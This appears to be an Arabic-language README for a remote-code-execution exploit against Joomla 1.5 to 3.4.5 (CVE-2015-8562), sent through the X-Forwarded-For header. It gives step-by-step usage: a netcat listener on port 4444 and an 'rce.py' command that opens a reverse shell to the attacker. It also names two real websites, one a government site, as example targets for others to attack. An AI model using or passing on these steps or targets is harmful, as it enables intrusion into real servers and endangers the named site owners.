dmonst3r/cve-2015-8562# جوملا 1.5 - 3.4.5 حقن كائنات وتنفيذ أوامر عن بُعد عبر ترويسة X-Forwarded-For
الاستغلال: Joomla 1.5 - 3.4.5 حقن كائنات RCE عبر ترويسة X-Forwarded-For:
تاريخ الثغرة: 12/17/2015
مؤلف الاستغلال: anarc0der
الإصدار: Joomla 1.5 إلى 3.4.5
CVE : CVE-2015-8562
طريقة الاستخدام:
افتح طرفية واحدة واستمع باستخدام nc: $ nc -lnvp 4444
افتح طرفية أخرى ونفّذ الاستغلال:
python3 rce.py --target='target' --ip='ip' --port=4444
أمثلة على الأهداف PoC (لا تعبث بها، يستخدمها الآخرون كمثال):
http://www.monitoraggiograduatorie.gov.it/
http://budo-aykac.nl/